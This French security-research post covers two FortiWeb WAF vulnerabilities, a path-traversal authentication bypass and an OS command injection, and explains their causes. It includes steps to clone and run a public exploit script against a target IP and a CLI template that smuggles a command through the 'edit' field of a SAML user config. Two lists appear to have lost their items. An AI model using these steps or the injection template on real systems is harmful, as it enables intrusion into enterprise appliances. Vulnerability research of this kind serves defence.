
Recherche en sécurité sur les vulnérabilités Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb est une appliance Web Application Firewall (WAF) largement déployée dans les systèmes d'entreprise afin de protéger les applications web contre les menaces courantes.
FortiWeb étant généralement situé au niveau de la couche de protection centrale, les vulnérabilités liées à l'authentification ou à l'exécution de commandes du système d'exploitation peuvent gravement affecter l'ensemble de l'infrastructure en aval. En 2025, deux vulnérabilités critiques ont été divulguées sur FortiWeb :
CVE-2025-64446 – Contournement de l'authentification via Relative Path Traversal
CVE-2025-58034 – OS Command Injection dans un contexte authentifié
CVE-2025-64446 provient de la gestion et de la vérification peu rigoureuses des chemins d'accès par FortiWeb avant l'application du mécanisme d'authentification.
Plus précisément :
Cette erreur permet à certains points de terminaison d'administration d'être accessibles sans authentification valide.
CVE-2025-58034 survient parce que FortiWeb traite les données d'entrée de l'utilisateur de manière non sécurisée lors de l'appel de commandes du système d'exploitation.
Les causes principales incluent :
Cette vulnérabilité requiert un contexte authentifié, mais présente un niveau de risque élevé en raison de l'exécution de commandes.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
L'environnement virtuel Python (venv) est utilisé afin de créer un environnement de travail indépendant pour chaque projet, permettant d'isoler les bibliothèques de dépendances du système Python principal. Cela permet d'éviter les conflits de versions de bibliothèques, de garantir la stabilité de l'environnement de travail et de limiter l'impact sur le système.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
La vulnérabilité CVE-2025-58034 provient du fait que FortiWeb ne contrôle pas strictement les données d'entrée dans certains champs de configuration, en particulier la valeur transmise via la commande : edit "" Problème : Cette valeur est traitée comme une chaîne de configuration Elle est ensuite transmise aux commandes internes du système d'exploitation Les caractères spéciaux ne sont pas suffisamment filtrés ou échappés Cela conduit à la possibilité que les données de configuration affectent directement la commande du système d'exploitation exécutée, provoquant une vulnérabilité OS Command Injection.